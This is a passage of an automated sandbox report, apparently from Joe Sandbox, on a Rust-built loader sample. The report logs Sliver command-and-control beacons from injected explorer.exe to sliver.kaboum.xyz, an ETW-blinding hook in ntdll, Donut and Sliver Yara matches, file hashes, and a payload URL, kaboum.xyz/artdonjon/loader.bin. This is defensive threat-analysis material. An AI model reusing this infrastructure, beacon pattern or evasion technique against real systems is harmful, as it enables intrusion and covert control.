2024-12-18 07:47:13 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49831	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:14 UTC	491	OUT	GET /javascripts/jscript/javascripts/javascript/backbone.js?n=8f418919 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:17 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49842	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:18 UTC	485	OUT	GET /js/jscript/javascript/jscript/script/backbone.js?v=84539617 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:21 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49853	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:23 UTC	490	OUT	GET /javascripts/umd/js/javascript/javascript/app.min.js?_=4567r497t2 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:25 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49863	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:27 UTC	475	OUT	GET /javascripts/javascripts/js/app.min.js?u=297s61600 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:28 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:28 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49869	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:30 UTC	481	OUT	GET /javascript/javascripts/jscript/backbone.js?s=8x22o52328 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:32 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49880	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:33 UTC	447	OUT	GET /array.js?t=s877e48243 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:35 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49888	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:37 UTC	474	OUT	GET /javascripts/js/js/js/jscript/array.js?x=61443060 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:40 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49901	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:41 UTC	458	OUT	GET /umd/umd/umd/array.js?u=7966a1472 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:43 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49908	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:45 UTC	486	OUT	GET /jscript/javascript/javascript/jscript/backbone.js?z=22417500 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:48 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49919	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:49 UTC	453	OUT	GET /script/array.js?x=9718174h0 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:52 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49930	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:53 UTC	488	OUT	GET /script/javascripts/jscript/javascript/js/app.min.js?e=27952824 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:55 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49940	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:47:57 UTC	452	OUT	GET /umd/app.min.js?k=9h6771280 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:47:58 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:47:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49947	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:00 UTC	451	OUT	GET /umd/app.min.js?y=16611822 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:48:03 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49957	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:05 UTC	447	OUT	GET /array.js?_=g661402p67 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:48:07 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49968	51.44.82.197	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:48:09 UTC	448	OUT	GET /app.min.js?j=77b347985 HTTP/1.1 Host: sliver.kaboum.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362e Accept-Encoding: gzip
2024-12-18 07:48:11 UTC	83	IN	HTTP/1.1 204 No Content Date: Wed, 18 Dec 2024 07:48:11 GMT Connection: close

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
EtwEventWrite	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
EtwEventWrite	INLINE	0xC3 0x38 0x8B 0xBD 0xDC 0xC4

Target ID:	0
Start time:	02:46:03
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\twjMb9cX64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\twjMb9cX64.exe"
Imagebase:	0x7ff70fa30000
File size:	421'888 bytes
MD5 hash:	C0CB12EC25B885E22E8C57536A88DE5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000003.2360150668.0000018F7AB39000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:46:03
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:46:32
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Go lang
Yara matches:	Rule: JoeSecurity_Sliver, Description: Yara detected Sliver Implants, Source: 00000004.00000002.3317296206.000000C000100000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Multi_Trojan_Bishopsliver_42298c4a, Description: unknown, Source: 00000004.00000002.3315398464.0000000012FDC000.00000002.10000000.00040000.00000000.sdmp, Author: unknown Rule: Multi_Trojan_Bishopsliver_42298c4a, Description: unknown, Source: 00000004.00000002.3313596828.0000000011F7C000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000004.00000000.2339439660.0000000010CD0000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000004.00000002.3312693021.0000000010CD0000.00000010.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.2%
Total number of Nodes:	1385
Total number of Limit Nodes:	14

Executed Functions

Function 00007FF70FA317F3 Relevance: 82.8, APIs: 30, Strings: 16, Instructions: 2327COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA32EF1

Part of subcall function 00007FF70FABA7A0: TlsGetValue.KERNEL32(?,?,?,00007FF70FAB0235,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF70FABA7B6

memcpy.MSVCRT ref: 00007FF70FA3218B
memcpy.MSVCRT ref: 00007FF70FA321D6
memcpy.MSVCRT ref: 00007FF70FA323CA
memset.MSVCRT ref: 00007FF70FA33853

Part of subcall function 00007FF70FA35900: memcpy.MSVCRT ref: 00007FF70FA35962

memcpy.MSVCRT ref: 00007FF70FA32470
memcpy.MSVCRT ref: 00007FF70FA32602
memcpy.MSVCRT ref: 00007FF70FA326AD
memcpy.MSVCRT ref: 00007FF70FA32737
memcpy.MSVCRT ref: 00007FF70FA32788
memcpy.MSVCRT ref: 00007FF70FA32ACF
memset.MSVCRT ref: 00007FF70FA32B16
memcpy.MSVCRT ref: 00007FF70FA32CFA
memcpy.MSVCRT ref: 00007FF70FA32FC1

Part of subcall function 00007FF70FABA880: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00000001,?,00007FF70FAB021D), ref: 00007FF70FABA8BE

GetLastError.KERNEL32 ref: 00007FF70FA344C8
GetLastError.KERNEL32 ref: 00007FF70FA34532
GetLastError.KERNEL32 ref: 00007FF70FA3459C
GetLastError.KERNEL32 ref: 00007FF70FA34606
GetLastError.KERNEL32 ref: 00007FF70FA34670
GetLastError.KERNEL32 ref: 00007FF70FA346DA

Part of subcall function 00007FF70FA6F5B4: memcpy.MSVCRT ref: 00007FF70FA6F5EA

Part of subcall function 00007FF70FADCB70: GetLastError.KERNEL32 ref: 00007FF70FADCC11

Strings

explorer.exe[-]no process!, xrefs: 00007FF70FA33D28, 00007FF70FA33F3F
has_authority means set_password shouldn't fail, xrefs: 00007FF70FA3236E
*/*, xrefs: 00007FF70FA31858
assertion failed: filled <= self.buf.init/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\core\src\io\borrowed_buf.rs, xrefs: 00007FF70FA3444E
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FA32E1D
base64 is always valid HeaderValue/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.12.9/src/util.rs, xrefs: 00007FF70FA32C4D
has_authority means set_username shouldn't fail, xrefs: 00007FF70FA3234B
https://kaboum.xyz/artdonjon/loader.bin, xrefs: 00007FF70FA320DE
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA34434, 00007FF70FA3447D
tx only taken on error, xrefs: 00007FF70FA33476, 00007FF70FA33486
core thread panicked, xrefs: 00007FF70FA32F09
cannot clone `Sender` -- too many outstanding senders, xrefs: 00007FF70FA3345E
reqwest-internal-sync-runtime, xrefs: 00007FF70FA31A25
:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FA3222A
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF70FA34499
Total CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64, xrefs: 00007FF70FA33AE1

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$ErrorLast$memset$FrequencyPerformanceQueryValue
String ID: */*$:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$Total CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64$assertion failed: filled <= self.buf.init/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\core\src\io\borrowed_buf.rs$base64 is always valid HeaderValue/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.12.9/src/util.rs$called `Result::unwrap()` on an `Err` value$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs$cannot clone `Sender` -- too many outstanding senders$core thread panicked$explorer.exe[-]no process!$has_authority means set_password shouldn't fail$has_authority means set_username shouldn't fail$https://kaboum.xyz/artdonjon/loader.bin$reqwest-internal-sync-runtime$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$tx only taken on error
API String ID: 1065744907-505664108
Opcode ID: 2bbd9fd9dedef36b34ac329e8a573ca75cb691fe17d0716a34265adb461b3ba3
Instruction ID: 881a6d558df3c007db01d5cd650f159e5ee20224e194cb58aaf9dc207a639aa9
Opcode Fuzzy Hash: 2bbd9fd9dedef36b34ac329e8a573ca75cb691fe17d0716a34265adb461b3ba3
Instruction Fuzzy Hash: C6436EB2A0CBC181EB61EB15E8417EAA3A4FF8AB84F804136DA8D57795DF3CE145C750

Function 00007FF70FA9DB4C Relevance: 65.5, APIs: 37, Strings: 5, Instructions: 2549COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA9DBF3
memcpy.MSVCRT ref: 00007FF70FA9DC0C
memcpy.MSVCRT ref: 00007FF70FA9DD72
memcpy.MSVCRT ref: 00007FF70FA9DD9F
memcpy.MSVCRT ref: 00007FF70FA9DDB7
memcpy.MSVCRT ref: 00007FF70FA9DE01
memcpy.MSVCRT ref: 00007FF70FA9E029
memcpy.MSVCRT ref: 00007FF70FA9E0E9
memcpy.MSVCRT ref: 00007FF70FA9E143

Strings

httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FA9F6BE
authority implies host, xrefs: 00007FF70FA9F63C
uri host is valid header value, xrefs: 00007FF70FA9F89F
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FAA13BA
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FAA1415

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: authority implies host$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$uri host is valid header value
API String ID: 3510742995-3598388769
Opcode ID: 9b31c48f625029382260d8f73d3a1105d60fd2c0c0c3a773d62792e798b51d55
Instruction ID: 6f4300e92a251f97de7c55ff57afd56e11761405f17e2b55bcb130756265714b
Opcode Fuzzy Hash: 9b31c48f625029382260d8f73d3a1105d60fd2c0c0c3a773d62792e798b51d55
Instruction Fuzzy Hash: 7E638766A0DBC185E631DB28E8447EAB7A4FB99788F445121DFCC03B5AEF38D195CB10

Function 00007FF70FAA7BD2 Relevance: 42.0, APIs: 17, Strings: 6, Instructions: 1782COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAA7C51
memcpy.MSVCRT ref: 00007FF70FAA9FB8
memcpy.MSVCRT ref: 00007FF70FAAA021
memcpy.MSVCRT ref: 00007FF70FAAA06F
memcpy.MSVCRT ref: 00007FF70FAAA091
memcpy.MSVCRT ref: 00007FF70FAAA0C7
memcpy.MSVCRT ref: 00007FF70FAAA97F
memcpy.MSVCRT ref: 00007FF70FAAA9A9
memcpy.MSVCRT ref: 00007FF70FAAAA58

Strings

invalid maximum TLS version for backendvalid request parts, xrefs: 00007FF70FAA8D59
NO_PROXYno_proxy, xrefs: 00007FF70FAA84B9
httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FAA7E08, 00007FF70FAA7E61, 00007FF70FAA7ED3, 00007FF70FAA7F01, 00007FF70FAA831B, 00007FF70FAAA172
assertion failed: self.inner.semaphore.is_idle()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/sync/mpsc/chan.rs, xrefs: 00007FF70FAA9F8F, 00007FF70FAA9FF0
ALL_PROXYall_proxyHTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer, xrefs: 00007FF70FAA7E0F, 00007FF70FAA7E38
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FAAB0F0

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: ALL_PROXYall_proxyHTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer$NO_PROXYno_proxy$assertion failed: self.inner.semaphore.is_idle()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/sync/mpsc/chan.rs$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$invalid maximum TLS version for backendvalid request parts$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 3510742995-1754031384
Opcode ID: 8b27e41489d4a92f4a5fb759a0aa5221e247c89d50c354dcd03a029b6a88498e
Instruction ID: 82f1a30dd6c7de83cc8f17ba9260a6f6b1427d5ca665a800df207f80c8ddd390
Opcode Fuzzy Hash: 8b27e41489d4a92f4a5fb759a0aa5221e247c89d50c354dcd03a029b6a88498e
Instruction Fuzzy Hash: EA135B72A0DBC181E631AB15E8407EAB7A4FB8AB84F844135DB8D17B59DF3CE149CB50

Function 00007FF70FAE111E Relevance: 30.7, APIs: 14, Strings: 3, Instructions: 939COMMON

Download Yara Rule

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF70FAE28E1
Unable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF70FAE1821
